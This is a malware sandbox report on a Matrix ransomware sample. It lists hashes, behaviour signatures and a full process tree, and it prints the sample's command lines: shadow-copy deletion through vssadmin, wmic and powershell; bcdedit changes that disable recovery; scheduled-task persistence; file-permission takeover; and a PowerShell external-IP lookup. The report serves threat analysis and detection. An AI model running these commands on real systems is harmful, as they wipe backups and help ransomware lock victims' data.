Overview

overview

10

Static

static

2a2a6e1e2b...21.exe

windows7_x64

10

2a2a6e1e2b...21.exe

windows10-2004_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    06-03-2022 01:11

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2a2a6e1e2b87e418cb5c601b53e18b1f2c2c5152e2dc3595f06a694c43834c21.exe

  • Size

    2.6MB

  • MD5

    5cd0f0314c70799026ac841652a7ee07

  • SHA1

    f5420dc1b2f29e91c24345d02e190374ff3f3480

  • SHA256

    2a2a6e1e2b87e418cb5c601b53e18b1f2c2c5152e2dc3595f06a694c43834c21

  • SHA512

    f98809bd7166dd0284b8b40dee27d8ab1b284d609a124414c44a6624d2a6c1df0379721db896288b7f64170c02b5834ab4ee23866a66454522dee342096b4316

Score
10/10
matrixdiscoveryevasionpersistenceransomwareupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://myexternalip.com/raw

Signatures

  • Matrix Ransomware 64 IoCs

    Targeted ransomware with information collection and encryption functionality.

    ransomwarematrix
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Sets service image path in registry 2 TTPs
    persistence
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2a2a6e1e2b87e418cb5c601b53e18b1f2c2c5152e2dc3595f06a694c43834c21.exe
    "C:\Users\Admin\AppData\Local\Temp\2a2a6e1e2b87e418cb5c601b53e18b1f2c2c5152e2dc3595f06a694c43834c21.exe"
    1⤵
    • Matrix Ransomware
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:2924
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\2a2a6e1e2b87e418cb5c601b53e18b1f2c2c5152e2dc3595f06a694c43834c21.exe" "C:\Users\Admin\AppData\Local\Temp\NWCHJTo1.exe"
      2⤵
        PID:1172
      • C:\Users\Admin\AppData\Local\Temp\NWCHJTo1.exe
        "C:\Users\Admin\AppData\Local\Temp\NWCHJTo1.exe" -n
        2⤵
        • Executes dropped EXE
        PID:1424
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\LxvYTs9V.txt"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4880
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2324
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\IUnUu6qd.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3804
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\IUnUu6qd.bmp" /f
          3⤵
          • Sets desktop wallpaper using registry
          PID:4540
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
          3⤵
            PID:4376
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
            3⤵
              PID:2488
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\pI5ixat3.vbs"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:356
            • C:\Windows\SysWOW64\wscript.exe
              wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\pI5ixat3.vbs"
              3⤵
              • Checks computer location settings
              • Suspicious use of WriteProcessMemory
              PID:4660
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\uTrN5V4t.bat" /sc minute /mo 5 /RL HIGHEST /F
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:4956
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\uTrN5V4t.bat" /sc minute /mo 5 /RL HIGHEST /F
                  5⤵
                  • Creates scheduled task(s)
                  PID:3552
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:3996
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /Run /I /tn DSHCA
                  5⤵
                    PID:1620
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\xePHKt6L.bat" "C:\Program Files\Java\jdk1.8.0_66\jre\bin\server\classes.jsa""
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4320
              • C:\Windows\SysWOW64\attrib.exe
                attrib -R -A -S "C:\Program Files\Java\jdk1.8.0_66\jre\bin\server\classes.jsa"
                3⤵
                • Views/modifies file attributes
                PID:3204
              • C:\Windows\SysWOW64\cacls.exe
                cacls "C:\Program Files\Java\jdk1.8.0_66\jre\bin\server\classes.jsa" /E /G Admin:F /C
                3⤵
                  PID:3528
                • C:\Windows\SysWOW64\takeown.exe
                  takeown /F "C:\Program Files\Java\jdk1.8.0_66\jre\bin\server\classes.jsa"
                  3⤵
                  • Modifies file permissions
                  PID:3376
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c W5h2OkrD.exe -accepteula "classes.jsa" -nobanner
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1332
                  • C:\Users\Admin\AppData\Local\Temp\W5h2OkrD.exe
                    W5h2OkrD.exe -accepteula "classes.jsa" -nobanner
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:784
                    • C:\Users\Admin\AppData\Local\Temp\W5h2OkrD64.exe
                      W5h2OkrD.exe -accepteula "classes.jsa" -nobanner
                      5⤵
                      • Drops file in Drivers directory
                      • Executes dropped EXE
                      • Enumerates connected drives
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious behavior: LoadsDriver
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2188
            • C:\Windows\SYSTEM32\cmd.exe
              C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\uTrN5V4t.bat"
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:1236
              • C:\Windows\system32\vssadmin.exe
                vssadmin Delete Shadows /All /Quiet
                2⤵
                • Interacts with shadow copies
                PID:1644
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic SHADOWCOPY DELETE
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2488
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Exec Unrestricted try {start-process -FilePath "vssadmin" -ArgumentList "delete","shadows","/all","/quiet" -WindowStyle Hidden} catch {}
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3076
                • C:\Windows\system32\vssadmin.exe
                  "C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet
                  3⤵
                  • Interacts with shadow copies
                  PID:1968
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} recoveryenabled No
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:1096
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} bootstatuspolicy ignoreallfailures
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:3576
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN DSHCA /F
                2⤵
                  PID:432
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:4800

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • memory/2324-136-0x0000000005950000-0x0000000005F78000-memory.dmp

                Filesize

                6.2MB

                Download

              • memory/2324-137-0x0000000005FF0000-0x0000000006012000-memory.dmp

                Filesize

                136KB

                Download

              • memory/2324-143-0x0000000005315000-0x0000000005317000-memory.dmp

                Filesize

                8KB

                Download

              • memory/2324-141-0x0000000007FC0000-0x000000000863A000-memory.dmp

                Filesize

                6.5MB

                Download

              • memory/2324-140-0x0000000006770000-0x000000000678E000-memory.dmp

                Filesize

                120KB

                Download

              • memory/2324-139-0x00000000061A0000-0x0000000006206000-memory.dmp

                Filesize

                408KB

                Download

              • memory/2324-138-0x00000000060C0000-0x0000000006126000-memory.dmp

                Filesize

                408KB

                Download

              • memory/2324-142-0x0000000006C90000-0x0000000006CAA000-memory.dmp

                Filesize

                104KB

                Download

              • memory/2324-134-0x0000000005310000-0x0000000005311000-memory.dmp

                Filesize

                4KB

                Download

              • memory/2324-135-0x0000000005312000-0x0000000005313000-memory.dmp

                Filesize

                4KB

                Download

              • memory/2324-133-0x00000000051D0000-0x0000000005206000-memory.dmp

                Filesize

                216KB

                Download

              • memory/2324-132-0x0000000074470000-0x0000000074C20000-memory.dmp

                Filesize

                7.7MB

                Download

              • memory/3076-153-0x000001F529700000-0x000001F529722000-memory.dmp

                Filesize

                136KB

                Download

              • memory/3076-154-0x000001F529870000-0x000001F529872000-memory.dmp

                Filesize

                8KB

                Download

              • memory/3076-155-0x000001F529873000-0x000001F529875000-memory.dmp

                Filesize

                8KB

                Download

              • memory/3076-152-0x00007FF9A53C0000-0x00007FF9A5E81000-memory.dmp

                Filesize

                10.8MB

                Download